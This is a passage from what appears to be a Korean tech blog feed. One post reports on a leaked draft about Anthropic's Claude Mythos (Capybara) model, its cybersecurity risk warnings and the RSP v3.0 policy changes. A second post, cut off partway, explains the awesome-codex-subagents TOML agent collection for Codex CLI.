대변인은 Fortune의 보도에 대해 새로운 모델을 학습했으며 현재 테스트 중임을 인정했다. 동시에 "추론, 코딩 및 사이버보안 측면에서 의미 있는 발전을 이룬 범용 모델을 개발하고 있다"고 밝혔으며, 이 모델이 "step change(획기적 변화)"를 가져올 것이며 "지금까지 개발한 모델 중 가장 뛰어난 성능을 자랑한다"고 덧붙였다.

또한 "소수의 얼리 액세스 고객과 협력하여 모델을 테스트하고 있다"고 확인했다. 보안 문제를 해결했으며 추가 미공개 자산의 노출을 방지하기 위한 조치를 취했다고 밝혔다.

2. Claude Mythos와 Capybara 계층

두 이름의 관계

유출된 자료에서 모델은 두 가지 이름으로 등장한다. Claude Mythos(미토스)와 Capybara(카피바라)다.

• Fortune 원본 보도는 두 이름이 동일 모델을 가리키는 것으로 서술한다.
• 일부 2차 매체는 Capybara를 "독립된 새 계층 이름"으로 해석하지만, 이는 Fortune 원본에 기반한 추가 해석이다.
• "Capybara가 계층 이름인지, 아니면 모델의 후보 이름인지"는 Anthropic이 아직 공식 확인하지 않았다.

Fortune 원본 보도를 기준으로 정리하면, 초안 블로그 포스트 버전 1은 "Mythos"라는 이름을 사용하고, 버전 2는 "Capybara"라는 이름을 사용했다. 두 문서 모두 동일한 신규 최상위 모델을 설명한다. 본 글에서는 일반적으로 통용되는 표현인 Claude Mythos(코드명 Capybara)로 통일해 사용한다.

Capybara: Opus를 넘는 새 계층

유출 문서에는 Capybara에 대해 이렇게 설명한다.

(출처: Fortune, 2026-03-26)

Capybara 계층의 위치

"Capybara는 새로운 모델 계층의 새로운 이름이며, 지금까지 가장 강력했던 Opus보다 더 크고 지능적이다. 단, 더 비싸다."

(유출된 초안 블로그 포스트 내용, Fortune 인용)

현재 앤트로픽의 모델 계층은 하이쿠(Haiku) → 소네트(Sonnet) → 오퍼스(Opus) 순으로 구성되어 있다. Capybara는 이 Opus 위에 새로운 최상위 계층으로 자리 잡는다. 이는 단순한 버전 업그레이드가 아니라 계층 자체의 확장이다.

계층	대표 모델	특징	상태
Haiku	Claude Haiku 4.5	속도·비용 최적화, 경량	정식 출시
Sonnet	Claude Sonnet 4.6	균형형, 범용	정식 출시
Opus	Claude Opus 4.6	최고 성능, 복잡한 작업	정식 출시
Capybara	Claude Mythos	Opus를 초월, 극도의 성능	얼리 액세스 테스트 중

※ 계층 구조는 유출 초안 문서 및 Fortune 보도 기반. 정식 출시 전까지 변경될 수 있음.

"지금까지 개발한 AI 모델 중 단연 가장 강력한"

유출 문서에서 가장 인상적인 표현은 앤트로픽의 자기 평가다. 유출된 초안에는 Claude Mythos에 대해 "지금까지 개발한 AI 모델 중 단연 가장 강력한 모델(by far the most powerful AI model we've ever developed)"이라고 적혀 있다. 앤트로픽 대변인도 이 모델이 "step change"를 가져올 것이라고 공식 확인했다.

(출처: Fortune, 2026-03-26)

3. 성능 — 무엇이 다른가

코딩 · 추론 · 사이버보안

유출된 초안 문서는 Claude Opus 4.6과 Capybara(Mythos)를 비교하며 구체적인 영역을 명시한다.

(출처: Fortune, 2026-03-26)

유출 초안 원문 인용
"Compared to our previous best model, Claude Opus 4.6, Capybara gets dramatically higher scores on tests of software coding, academic reasoning, and cybersecurity, among others."

(“기존 최고 성능 모델인 Claude Opus 4.6과 비교하면, Capybara는 소프트웨어 코딩, 학문적 추론, 사이버보안 등 다양한 테스트에서 훨씬 뛰어난 점수를 보여줍니다.”)

(유출된 앤트로픽 초안 블로그, Fortune 보도)

• "dramatically higher scores"는 정성적 표현이며 구체적인 수치 벤치마크는 유출 문서에서 공개되지 않았다.
• 정확한 점수 차이와 벤치마크 환경은 앤트로픽의 공식 성능 보고서 발표를 기다려야 한다.
• 현재로서는 앤트로픽의 자체 평가이며 독립 제3자 검증은 이루어지지 않았다.

"step change"의 의미

앤트로픽이 사용한 "step change"라는 표현은 단순한 점진적 개선(incremental improvement)이 아닌 질적으로 다른 도약을 의미한다. AI 모델 발전에서 이 표현은 새로운 능력 영역이 열렸을 때 사용하는 업계 용어다.

앤트로픽이 자체적으로 이 표현을 사용하는 경우는 드물다. 이번 유출과 대변인의 공식 발언 모두 일관되게 "step change"를 사용했다는 점은 주목할 만하다. 다만 구체적으로 어떤 새로운 능력이 생겼는지는 공식 발표 전까지 추정, 추측 수준에서만 논의 가능하다.

경쟁 구도 — GPT-5, Gemini 3와의 맥락

Claude Mythos의 "step change"가 업계에서 어떤 의미인지 이해하려면, 동시대 경쟁 모델들의 위치를 함께 봐야 한다.

프론티어 AI 현황 비교 (2026년 3월 기준)

모델	주요 강점	출처/상태
Claude Mythos	코딩·학술추론·사이버보안 "dramatically higher", "step change" — Opus 4.6 대비	유출 문서 / Fortune (2026-03-26). 얼리 액세스 테스트 중
GPT-5 계열	코딩·에이전틱 작업 강화, SWE-bench 고점. GPT-5.1-Codex-Max는 사이버 CTF 76%	OpenAI 공식 발표. 정식 출시 완료 단계 존재
Gemini 3	에이전틱/vibe coding, 멀티모달 추론 강화	Google DeepMind FSF v3 (2025-09-22) 기반

GPT-5 계열이 코딩과 에이전틱 작업에서 강세를 보이는 동안, 앤트로픽은 Claude Mythos로 사이버보안 역량을 차별화 축으로 내세우고 있다는 점이 유출 문서에서 읽힌다. 다만 이는 앤트로픽 내부 문서의 자기 평가이며, GPT-5와의 직접 벤치마크 비교는 공식 발표 이후에야 가능하다.

4. 전례 없는 사이버보안 위험

내부 경고 내용

이번 유출에서 가장 충격적인 부분은 앤트로픽 자신이 자사 모델의 위험을 경고하는 내용이었다. 유출 문서에는 다음과 같은 표현이 포함됐다. (출처: Fortune, The Decoder, 2026-03-26)

유출 문서의 경고 표현
1. "currently far ahead of any other AI model in cyber capabilities"
(현재 사이버 역량에서 다른 어떤 AI 모델보다 훨씬 앞서 있다)

2. "unprecedented cybersecurity risks"
(전례 없는 사이버보안 위험)

3. Fortune 보도에 따르면, 유출 문서는 이 시스템이 방어자들의 대응 속도를 크게 앞지르는 방식으로 취약점을 악용할 수 있는 모델들의 등장을 예고한다고 서술했다. (원문 취지 요약 — 직접 인용 아님)

공격자 vs 방어자 비대칭

사이버보안 분야에서 AI의 등장은 공격과 방어 모두에 영향을 미친다. 그런데 이번 유출 문서가 특별히 경고하는 것은 비대칭성이다.

방어자는 넓은 표면(전체 코드베이스, 모든 시스템)을 지켜야 하는 반면, 공격자는 단 하나의 취약점만 찾으면 된다. AI가 취약점 탐색 속도를 획기적으로 높인다면, 이 비대칭성은 더욱 심화된다. 앤트로픽의 내부 문서는 이 모델이 방어자가 대응하기 전에 취약점을 악용할 수 있는 속도를 가질 수 있다고 경고한다.

바로 이 때문에 앤트로픽이 출시 전략에서 사이버 방어 조직에 먼저 접근권을 주는 방향을 고려하고 있다는 내용이 유출 문서에 포함됐다. 공격자보다 방어자가 먼저 준비할 수 있도록 하겠다는 취지다.

업계 전반의 사이버 위험 — Anthropic만의 문제가 아니다

"unprecedented cybersecurity risks"라는 표현을 앤트로픽 단독의 과장으로 읽으면 안 된다. 경쟁사들도 같은 문제를 인식하고 있다.

프론티어 AI 사이버 역량 — 업계 현황

모델	사이버 관련 공식 평가	정책 대응
Claude Mythos	내부 문서: "다른 어떤 AI보다 사이버 역량 far ahead", "unprecedented risks" — 유출 문서 기반 [UNVERIFIED 공식 미확인]	방어 조직 얼리 액세스 우선 검토 (유출 초안)
GPT-5.1-Codex-Max	CTF 벤치마크 76% (GPT-5 기준 27%에서 급상승) — OpenAI Preparedness Framework 기준 High cybersecurity capability (출처: OpenAI, 2025-12-10)	Preparedness Framework Critical 평가 시 배포 제한
Gemini 3	Google FSF v3 (2025-09-22): "improved protection against misuse via cyberattacks" 명시 — 사이버공격 오용 방지 강화	CCL(Critical Capability Level) 기반 alert threshold 시스템

즉, "unprecedented"라는 앤트로픽의 표현은 Anthropic 자신의 이전 모델 대비 전례 없는 수준이라는 의미이면서, 동시에 GPT-5.1-Codex-Max가 이미 CTF 76%를 기록하는 등 업계 전체가 함께 직면한 사이버 dual-use 리스크의 한 단면이기도 하다. Anthropic만 위험한 모델을 만드는 것이 아니라, 프론티어 AI 전반이 이 임계점에 도달하고 있다는 신호다.

개발자 관점에서
이 경고가 현실화된다면, 코드베이스를 가진 모든 개발자·기업은 영향을 받는다. 앤트로픽이 방어자 우선 출시를 고려하는 이유가 여기에 있다. 코드 보안 감사 도구, 자동화된 취약점 탐지, 보안 테스트 자동화에 대한 수요가 급격히 높아질 것으로 예상된다.

5. ASL-4 임박 신호

ASL 체계란

앤트로픽은 2023년부터 AI Safety Level(ASL)이라는 자체 위험 평가 체계를 운영하고 있다. AI 모델의 위험 수준을 1~5단계로 구분하는 것으로, RSP(Responsible Scaling Policy)의 핵심 프레임워크다.

(출처: Anthropic RSP 공식 문서)

[주의] 아래 표는 RSP v3.0 공식 정의가 아닙니다
RSP v3.0(2026-02-24)은 ASL 각 단계를 고정된 표로 재정의하지 않는다. v3.0의 핵심 운영 프레임은 단계 표가 아니라 capability/usage thresholds + company plans + industry-wide recommendations + Risk Reports다. 특히 ASL-4 이상은 의도적으로 미정의 상태로 남겨두었다.

아래 표는 2023년 RSP 소개와 업계 통용 해석을 정리한 배경 설명이며, RSP v3.0의 공식 단계 정의로 이해하면 안 된다. (출처: RSP v3.0 전문)

단계	수준	설명	현재 상태
ASL-1	기초	기본 AI 수준, 최소 위험	—
ASL-2	표준	일반적 AI 도구 수준	—
ASL-3	고위험	비AI 기준선(검색·교과서) 대비 CBRN(화학·생물·방사능·핵) 오용 위험을 상당히 증가시키거나 저수준 자율 능력을 보이는 시스템 (출처: Anthropic RSP)	Claude Opus 4.6에 ASL-3 보호 조치 적용 중 (잠정·예방적)
ASL-4	초위험	[추정] 국가급 해킹 역량, 자율적 AI 연구 가능 — RSP v3.0에서 의도적으로 미정의. 향후 고역량 수준 확인 시 개발 예정	[추정] Mythos 접근 중 (미공식)
ASL-5	초월	인류 문명 수준 위협	—

현재 모델 수준과 ASL-4 임박

RSP v3.0(2026-02-24 발효) 문서에 따르면, Claude Opus 4.6은 AI R&D-4 능력 임계값을 초과하지 않는 것으로 현재 평가되어 있다. 그러나 문서는 동시에 이렇게 밝힌다. (출처: Anthropic RSP v3.0 발표)

RSP v3.0 문서 내용

"자신 있게 이 임계값을 배제하기가 점점 더 어려워지고 있으며, 더 주관적인 평가가 필요하다"
(RSP v3.0, 앤트로픽 공식 문서)

여러 매체의 분석에 따르면, Claude Mythos는 ASL-4 임계값에 "접근 중"일 가능성이 있다. 앤트로픽이 유출 문서에서 이 모델을 "전례 없는 사이버보안 위험"이라고 표현한 것이 이 분석의 근거다.

그러나 중요한 사실은 ASL-4가 아직 정식으로 정의되지 않았다는 점이다. RSP v3.0에서 상위 ASL(4 이상)은 "더 높은 AI 역량 수준이 어떤 모습일지 더 나은 그림이 생기면 세부 사항을 발전시킬 것"이라고 명시한다. ASL-4 자체가 현재 미완성 정의라는 점에서, 어떤 모델이 ASL-4라고 공식 선언하는 것은 한동안 어렵다. (출처: GovAI RSP v3.0 분석)

Boris Cherny의 ASL 발언

AI타임스 보도에서는 앤트로픽 Claude Code 책임자 Boris Cherny가 2026년 2월 초 팟캐스트에서 "현재 모델이 ASL-3에서 4로 넘어가는 단계"라고 밝혔다고 인용했다. 보리스 체르니(Boris Cherny, 앤트로픽의 Claude Code 창시자)의 2026년 2월 인터뷰는 Lenny's Newsletter 팟캐스트 등에서 확인되며, ASL 레벨 전환에 관한 발언도 여러 경로에서 보도됐다.

"ASL-3에서 4로 넘어가는 단계"라는 정확한 인용구가 특정 팟캐스트 에피소드에서 그대로 발언됐는지는 공개 트랜스크립트를 통해 직접 확인하지 못했다. 발언의 취지는 여러 보도에서 유사하게 서술되지만, 인용 정확도는 원본 팟캐스트를 직접 확인할 것을 권장한다.

관련 인터뷰: Lenny's Newsletter - Boris Cherny

6. RSP v3.0 — Pause 약속 삭제의 의미

무엇이 바뀌었나

앤트로픽은 2026년 2월 24일 RSP v3.0을 발효했다. AI타임스 기사에서 "2월 25일"로 보도한 것과 하루 차이가 있는데, 이는 외신 보도 날짜(2월 25일 집중 보도)와 공식 발효일(2월 24일)이 혼동된 것으로 보인다. (출처: Anthropic RSP v3.0 공식 발표)

RSP v3.0의 가장 큰 변화는 이전 버전에 있던 "학습 중단(pause training)" 하드 커밋먼트의 삭제다.

구분	이전 RSP	RSP v3.0 (2026-02-24)
학습 중단 조건	안전 완화 조치를 보장하지 못하면 개발 중단 (하드 커밋먼트)	단독 pause 조항 삭제. 대신 구조 변경: Risk Reports + external review + competitor-contingent commitments + industry-wide recommendations로 분리. 경쟁사 안전 조치 수준에 따른 조건부 약속(Appendix A) 포함
ASL-4 이상 정의	2023 RSP도 이미 ASL-4+는 "아직 정의되지 않음"으로 명시	의도적으로 미정의. 향후 고역량 수준 확인 시 개발 예정
일방적 vs 업계 공동	앤트로픽 단독 약속	단독 조치 + 업계 공동 권고 분리
새 추가 요소	—	Frontier Safety Roadmaps + Risk Reports 도입

왜 바꿨나

앤트로픽은 이 변경에 대해 다음과 같이 설명한다. (출처: RSP v3.0 공식 발표)

논리 1 — 경쟁 현실: 경쟁사들이 개발을 멈추지 않는 상황에서 앤트로픽만 일방적으로 개발을 중단해도 AI 위험을 줄이는 효과가 없다. 오히려 더 안전 의식이 낮은 회사가 프론티어를 장악하는 결과를 낳는다는 논리다.

논리 2 — 집단 행동 필요: 상위 ASL의 위험은 단일 회사가 감당하기 어렵다. RSP v3.0은 더 높은 수준의 안전 조치는 업계 전체 또는 정부 차원의 공동 행동이 필요하다고 명시하며, 앤트로픽의 단독 약속이 아닌 업계 권고 사항으로 분류한다.

비판과 반론

이 변경은 AI 안전 커뮤니티에서 상당한 비판을 받았다. (출처: SaferAI 분석, GovAI 분석)

비판 측 주요 논거

"경쟁사가 하니까 나도 한다"는 논리는 군비 경쟁(arms race)을 정당화하는 레이스 투 더 바텀(race to the bottom)이다.
기존 "pause 약속"이 앤트로픽의 안전 우선 철학의 핵심 차별화 요소였는데, 이를 삭제하면 다른 회사들과 구분이 어려워진다.
RAND 보고서는 ASL-4급 보안 표준이 "현재 불가능하며 국가 보안 커뮤니티의 지원이 필요하다"고 지적하는데, 이 현실을 인정하면서도 개발을 계속하는 것은 모순이다.

앤트로픽 측 반론

기존 ASL-3 보호 조치는 완전히 유지한다. 낮추는 것이 아니라 조건을 명확히 하는 것이다.
새로 도입된 Frontier Safety Roadmaps와 Risk Reports는 오히려 투명성을 높이는 조치다.
안전 의식이 낮은 회사들이 프론티어를 차지하는 것보다, 안전을 중시하는 앤트로픽이 계속 선두를 유지하는 것이 장기적으로 더 안전하다.

업계 정책 비교 — OpenAI·Google과의 수렴과 차이

RSP v3.0의 변화를 Anthropic만의 안전 후퇴로 보기 전에, 경쟁사의 정책 방향도 함께 봐야 한다.

프론티어 AI 안전 정책 비교 (2025~2026)

회사	정책명 / 발표	핵심 구조
Anthropic	RSP v3.0 (2026-02-24)	ASL capability thresholds + Risk Reports + Frontier Safety Roadmaps + competitor-contingent commitments (ASL 역량 임계값 + 위험 보고서(Risk Reports) + Frontier Safety 로드맵 + 경쟁사 조건부 약속)
OpenAI	Preparedness Framework (2025-04-15 개정)	Tracked Categories + High/Critical capability 등급 + Capabilities Reports + Safeguards Reports 추적 대상 카테고리 + High/Critical 역량 등급 + 역량 보고서(Capabilities Reports) + 보호조치 보고서(Safeguards Reports)
Google DeepMind	Frontier Safety Framework v3 (2025-09-22)	CCL(Critical Capability Level) + alert thresholds + safety case reviews + CCL 도달 시 mitigations 의무화 CCL(중대한 역량 수준, Critical Capability Level) + 경보 임계값(alert thresholds) + 안전성 검토(safety case reviews) + CCL에 도달했을 때 완화 조치(mitigations) 의무화

※ OpenAI Preparedness Framework 개정일은 2025-04-15 기준. Google FSF v3는 2025-09-22. [출처: 각 회사 공식 문서]

세 회사 모두 단독 pause 약속보다 구조화된 능력 평가 + 조건부 조치 방향으로 수렴하고 있다. Anthropic이 RSP v3.0에서 pause 약속을 삭제한 것은 업계 고립적 후퇴가 아니라, 이 수렴 흐름의 일부다. 그러나 비판론자들은 세 회사 모두 "자기 평가 + 자기 결정"이라는 구조적 한계를 공유한다고 지적한다. (출처: GovAI RSP v3.0 분석)

7. 출시 전략 — 신중한 단계적 배포

얼리 액세스 → 사이버 방어 우선

앤트로픽 대변인은 "소수의 얼리 액세스 고객과 협력하여 모델을 테스트하고 있다"고 공식 확인했다. 유출 문서에는 이 전략의 방향이 더 구체적으로 서술됐다. (출처: Fortune, 2026-03-26)

유출 문서의 출시 단계 전략 (초안 기반)

Phase 1: 소수 얼리 액세스 고객 대상 테스트 (현재 진행 중)
Phase 2: 사이버 방어 조직 우선 출시 — 코드베이스 견고성 향상 지원
Phase 3: 일반 정식 출시 (수개월 후 예상)

"사이버 방어 조직 우선" 출시 계획은 유출된 초안 문서에서 언급된 것으로, 앤트로픽이 공식 보도자료로 확인한 내용은 아니다. 최종 출시 전략은 변경될 수 있다.

정식 출시 타임라인

유출 문서에는 "모델 운영 비용이 많이 들고, 아직 일반 출시 준비가 되지 않았다"는 표현이 포함됐다. 앤트로픽은 "이 모델의 강력한 기능을 고려해 출시 방식을 신중하게 결정하고 있다"고 밝혔다.

여러 분석가들은 연구용 미리보기(Research Preview) 형태의 제한적 공개가 먼저 이뤄지고, 정식 출시까지는 수개월이 더 걸릴 것으로 예상한다. 국가 안보급 리스크를 동반하는 모델에는 RSP 규정상 최소 수개월의 안전성 검증 기간이 필요하다.

8. 개발자·보안 전문가에게 주는 시사점

Claude Mythos 유출이 단순한 IT 뉴스가 아닌 이유는, 이것이 소프트웨어 개발 생태계 전체에 직접적인 영향을 미치는 변화의 신호이기 때문이다.

개발자 관점

개발자가 지금 준비해야 할 것들

코드 보안 강화 선제 대응: 앤트로픽이 사이버 방어 조직에 먼저 접근권을 주려는 이유는 공격 AI에 선제 대응하도록 돕기 위해서다. 코드베이스의 보안 취약점을 지금 점검하는 것이 현명하다.
AI 기반 코드 리뷰 도구 적극 활용: Claude Code, GitHub Copilot Security 등 AI 기반 보안 스캔 도구의 활용이 더욱 중요해질 것이다.
Capybara 계층 접근 준비: 사이버 방어 용도의 얼리 액세스 프로그램이 열릴 경우, 신청할 명분을 미리 준비해 두면 좋다.

보안 전문가 관점

보안 관점 시사점
• AI 기반 공격 시뮬레이션 준비: 적대적 AI가 자동으로 취약점을 찾는 환경에서의 방어 전략이 필요하다.
• 패치 사이클 단축: AI가 취약점을 방어자보다 빠르게 찾는다면, 취약점 발견 → 패치 배포까지의 시간을 줄이는 것이 핵심이다.
• 얼리 액세스 프로그램 주목: 앤트로픽이 방어자 우선 배포를 계획하고 있다면, 보안 팀이 이 프로그램에 참여해 모델을 먼저 이해하는 것이 전략적으로 유리하다.

AI 산업 거시적 관점

이번 유출은 AI 업계에 두 가지 큰 메시지를 던진다.

첫째, AI 능력이 안전 통제보다 빠르게 발전하고 있다는 신호가 이미 업계 내부에서 인식되고 있다. 앤트로픽이 자체 모델을 "전례 없는 사이버보안 위험"이라고 내부 문서에 적은 것은 이례적이다.

둘째, RSP v3.0에서 pause 약속을 삭제한 것은 "AI 안전이 경쟁 현실 앞에서 후퇴하는가"라는 근본적인 질문을 제기한다. 이 논쟁은 Claude Mythos 정식 출시 전후로 더욱 격화될 것이다.

9. 자주 묻는 질문

Q: Claude Mythos는 지금 사용할 수 있나?

A: 2026년 3월 현재 일반 사용은 불가능하다. 소수 얼리 액세스 고객과의 테스트 단계다. 앤트로픽은 모델의 강력한 기능을 고려해 신중하게 출시 방식을 결정 중이라고 밝혔다. 일반 출시까지는 수개월이 더 걸릴 것으로 예상된다.

Q: Claude Mythos와 Capybara는 같은 모델인가?

A: Fortune 원본 보도에 따르면 두 이름이 동일 모델을 가리킨다. 유출된 초안 블로그의 서로 다른 버전에서 각각 사용됐다. 다만 Capybara가 독립 계층 이름인지, 모델 후보명인지는 Anthropic이 공식 확인하지 않았다.

Q: RSP에서 삭제된 "pause 약속"이란 무엇인가?

A: 이전 RSP에는 안전 완화 조치를 보장하지 못하면 모델 개발을 중단한다는 하드 커밋먼트가 있었다. RSP v3.0(2026-02-24)에서 이 단독 pause 조항이 삭제됐다. 단순히 '경쟁 선두 + 재앙적 위험' 조건으로 대체된 것이 아니라, 회사 자체 계획과 산업 전체 권고를 분리하고 Risk Reports·external review·competitor-contingent commitments를 포함한 다층 구조로 전환됐다. 참고로 "경쟁 선두" 조건은 중단 트리거의 직접 조건이 아니라 완화 조치 강도를 결정하는 데 반영되는 요소다. (출처: Anthropic RSP v3.0 전문 Appendix A; GovAI RSP v3.0 분석)

Q: Claude Mythos가 공식 ASL-4 모델로 분류되나?

A: 아니다. Anthropic이 공식적으로 ASL-4로 분류한 적이 없다. 더불어 ASL-4 자체가 RSP v3.0에서 아직 정식으로 정의되지 않은 단계다. 여러 매체의 "ASL-4 임박" 분석은 내부 문서의 사이버보안 경고를 근거로 한 추정이다.

Q: 이번 유출이 개발자에게 미치는 직접적 영향은?

A: 직접적인 즉각 영향은 없다. 그러나 사이버보안 역량이 극적으로 높은 AI 모델이 출시되면, 코드베이스 보안 취약점이 자동으로 탐지·악용될 리스크가 높아진다. 앤트로픽이 방어자 우선 배포를 고려하는 만큼, 보안 도구 활용과 코드베이스 점검을 선제적으로 진행하는 것이 권장된다.

10. 참고 자료

공식 출처

Fortune 단독 보도 (2026-03-26) — Claude Mythos 유출 원본 보도
Anthropic RSP v3.0 공식 발표 — 2026-02-24 발효
Anthropic RSP v3.0 전문 — 전체 정책 문서
Anthropic Responsible Scaling Policy — ASL 체계 공식 페이지

심층 분석 자료

GovAI — RSP v3.0 심층 분석 — 변경 사항 및 시사점
The Decoder — Claude Mythos 성능 분석
SaferAI — RSP v3.0 비판적 분석
Lenny's Newsletter — Boris Cherny 인터뷰 — Claude Code 및 AI 미래
MLQ.ai — RSP v3.0 주요 변경 정리

경쟁사 안전 정책 자료

OpenAI Preparedness Framework — Tracked Categories, High/Critical capability 등급 체계
Google DeepMind Frontier Safety Framework v3 (2025-09-22) — CCL, alert thresholds, safety case reviews

OpenAI Codex 서브에이전트 - awesome-codex-subagents : 136개 Codex SubAgents 모음( TOML 에이전트 컬렉션 )

갓대희 — Sat, 28 Mar 2026 17:43:43 +0900

안녕하세요! 갓대희 입니다.

2026년 3월 16일, OpenAI가 Codex CLI에 서브에이전트(Subagents) 기능을 정식 출시했다. 바로 다음 날인 3월 17일, 커뮤니티는 이미 반응했다. VoltAgent가 awesome-codex-subagents를 공개한 것이다. 136개 이상의 전문화된 에이전트 정의를 담은 이 컬렉션은 공개 9일 만에 2,778 Stars(2026-03-26 기준)를 기록했다.

해당 컬렉션의 구조와 활용방법을 OpenAI 공식 문서를 기반으로 정리해보려 한다.

왜 서브에이전트 컬렉션이 필요한가
- 단일 에이전트의 컨텍스트 오염 문제
- Codex 서브에이전트 GA 개요
Codex 서브에이전트 핵심 개념
- 3가지 빌트인 에이전트
- TOML 파일 구조
- 필수/선택 필드 전체 목록
awesome-codex-subagents 프로젝트
- VoltAgent 소개
- 10개 카테고리 136+ 에이전트 총정리
- 설치 및 사용법
모델 라우팅 & 샌드박스 전략
- 컬렉션이 주로 쓰는 2가지 모델
- 샌드박스 모드 활용법
실전 워크플로우 예제 3가지
- PR 리뷰 자동화
- 버그 조사 파이프라인
- spawn_agents_on_csv 배치 처리
VoltAgent 에이전트 생태계
- awesome-agent-skills (멀티플랫폼)
- awesome-claude-code-subagents
Claude Code 서브에이전트와의 비교
주의사항 & 트러블슈팅 Q&A
결론: 언제 쓰고 언제 쓰지 않는가

이 글 3줄 요약

Codex 서브에이전트 = 독립 컨텍스트로 병렬 실행되는 전문화 에이전트. 2026-03-16 GA.
awesome-codex-subagents = 136개 즉시 쓸 수 있는 TOML 에이전트 정의 컬렉션. 9일 만에 2,778 Stars.
설치는 .toml 파일을 ~/.codex/agents/에 복사하는 것이 전부다.

1. 왜 서브에이전트 컬렉션이 필요한가

단일 에이전트의 컨텍스트 오염 문제

Codex에게 "PR을 리뷰하고, 보안 취약점을 찾고, 문서도 업데이트해"라고 시키면 어떻게 될까. 하나의 에이전트가 세 가지 역할을 동시에 수행하면서 컨텍스트 창이 섞인다. 보안 검토 중에 문서 초안이 끼어들고, 코드 리뷰 맥락이 인프라 분석과 뒤엉킨다. 공식 문서는 이를 "컨텍스트 오염(context pollution)"이라고 정의한다.

서브에이전트는 이 문제를 구조적으로 해결한다. 각 에이전트가 독립된 컨텍스트 창에서 자신의 역할에만 집중하기 때문에 출력의 집중도와 일관성이 높아진다. 탐색, 테스트, 분석처럼 읽기 위주의 병렬 처리에서 특히 효과적이다.

Codex 서브에이전트 GA 개요

2026년 3월 16일, OpenAI는 Codex CLI와 앱에서 서브에이전트 기능을 정식 공개(GA)했다. 커뮤니티 반응은 빨랐다.

Simon Willison은 같은 날 블로그에 서브에이전트 패턴이 "OpenAI, Claude, Gemini, Mistral, VS Code 등 주요 플랫폼 전반에서 코딩 에이전트의 표준 아키텍처로 자리잡았다"고 분석했다.

Rick Hightower는 Medium 기고에서 explorer/worker/orchestrator 패턴이 이제 de facto 표준이라고 평했다.

참고: 서브에이전트 기능은 현재 Codex 앱과 CLI에서 지원된다. IDE 확장 프로그램 지원은 공식 문서 기준 아직 미정이다. (출처: OpenAI Codex Subagents 공식 문서)

2. Codex 서브에이전트 기본 개념

3가지 빌트인 에이전트

설치 직후부터 세 가지 에이전트를 바로 쓸 수 있다. (출처: Codex Subagents 공식 문서)

에이전트	역할	권한	언제 쓰는가
`default`	범용 폴백	일반	명시적 에이전트를 지정하지 않은 일반 작업
`worker`	구현/수정 실행	읽기-쓰기	코드 작성, 파일 수정, 기능 구현
`explorer`	코드베이스 탐색	읽기 전용	분석, 조사, 패턴 파악 (수정 없음)

한 줄 요약: explorer가 지도를 그리고, worker가 공사를 하고, default가 나머지를 처리한다.

TOML 파일 구조

커스텀 에이전트는 .toml 파일로 정의한다. 파일 위치는 두 가지다.

~/.codex/agents/ — 전역. 모든 프로젝트에서 사용 가능
.codex/agents/ — 프로젝트별. 동일 이름이면 이쪽이 우선

아래는 실제 awesome-codex-subagents 컬렉션에서 사용하는 TOML 구조다.

(출처: VoltAgent/awesome-codex-subagents GitHub)

# ~/.codex/agents/backend-developer.toml

name = "backend-developer"
description = "Node.js/Python/Go 백엔드 개발, REST/gRPC API 설계, DB 스키마, 성능 최적화"

model = "gpt-5.4"
model_reasoning_effort = "high"
sandbox_mode = "workspace-write"

[instructions]
text = """
You are a senior backend developer specializing in server-side applications
with deep expertise in Node.js 18+, Python 3.11+, and Go 1.21+.

Focus on building scalable, secure, and performant backend systems.
Always validate inputs, handle errors gracefully, and write tests.
"""

필수/선택 필드 전체 목록

공식 문서 기준 TOML 필드 전체 목록이다.

(출처: OpenAI Codex Subagents 공식 문서)

필드	필수	설명	예시 값
`name`	O	에이전트 식별자. 호출 시 이 이름 사용	`"security-auditor"`
`description`	O	언제 이 에이전트를 써야 하는지 설명	`"보안 감사, CVE 검토"`
`developer_instructions`	O	핵심 동작 지침 (instructions.text 대체 가능)	멀티라인 문자열
`model`	미지정 시 상속	사용할 모델. 미지정 시 부모 세션 모델 사용	`"gpt-5.4"`
`model_reasoning_effort`	선택	추론 강도: high / medium / low	`"medium"`
`sandbox_mode`	선택	실행 권한: `"read-only"` 또는 `"workspace-write"`	`"read-only"`
`nickname_candidates`	선택	표시용 닉네임 배열. 다중 인스턴스 구분에 유용	`["Alice", "Bob"]`
`mcp_servers`	선택	연결할 MCP 서버 목록	배열

전역 설정 (config.toml의 [agents] 섹션)
• agents.max_threads = 6 — 동시 실행 스레드 상한 (기본값: 6)
• agents.max_depth = 1 — 서브에이전트 중첩 깊이 (기본값: 1). 높이면 반복 위임으로 토큰·지연 증가
• agents.job_max_runtime_seconds — CSV 배치 작업 타임아웃

3. awesome-codex-subagents 프로젝트

VoltAgent: 에이전트 생태계 빌더

VoltAgent는 AI 에이전트 도구 생태계 구축에 집중하는 오픈소스 그룹이다.

awesome-codex-subagents 외에도 awesome-claude-code-subagents, awesome-agent-skills(12.9k Stars, 멀티플랫폼) 등을 운영한다. 세 저장소 모두 MIT 라이선스로 공개되어 있다.

awesome-codex-subagents는 2026-03-17에 생성된 저장소로, "공식 문서에 맞게 작성된, 즉시 사용 가능한 136개 에이전트"를 표방한다. 이 글에서는 별도 캡처를 남기지 않은 시계열 Stars/Forks 수치보다, 현재 확인 가능한 구조와 실제파일 구성을 중심으로 다룬다.

10개 카테고리 136+ 에이전트 정리

카테고리 구조와 각 카테고리의 주요 에이전트를 정리했다.

(출처: VoltAgent/awesome-codex-subagents README)

1 핵심 개발 Core Development 12개

백엔드·프론트엔드·풀스택·API 설계 등 언어에 종속되지 않는 범용 개발 역할을 담당한다. 특정 언어 전문가가 필요하면 카테고리 2를 쓴다.

backend-developer frontend-developer fullstack-developer api-designer websocket-engineer graphql-architect

2 언어 전문가 Language Specialists 27개 — 가장 많음

특정 언어·프레임워크에 최적화된 전문가. Python, TypeScript, Rust, Go, Java 등 언어별 관용구·패턴·생태계까지 이해하고 작업한다. 136개 중 가장 많은 27개가 여기에 있다.

python-pro typescript-pro nextjs-developer spring-boot-engineer rust-engineer golang-pro react-specialist java-architect 외 19개

3 인프라 Infrastructure 16개

DevOps·클라우드·IaC·컨테이너 영역. CI/CD 파이프라인, Kubernetes 클러스터, Terraform 모듈, 인시던트 대응까지 다룬다. 인프라 코드 리뷰에 바로 투입 가능하다.

devops-engineer kubernetes-specialist terraform-engineer cloud-architect sre-engineer incident-responder

4 품질 & 보안 Quality & Security 16개

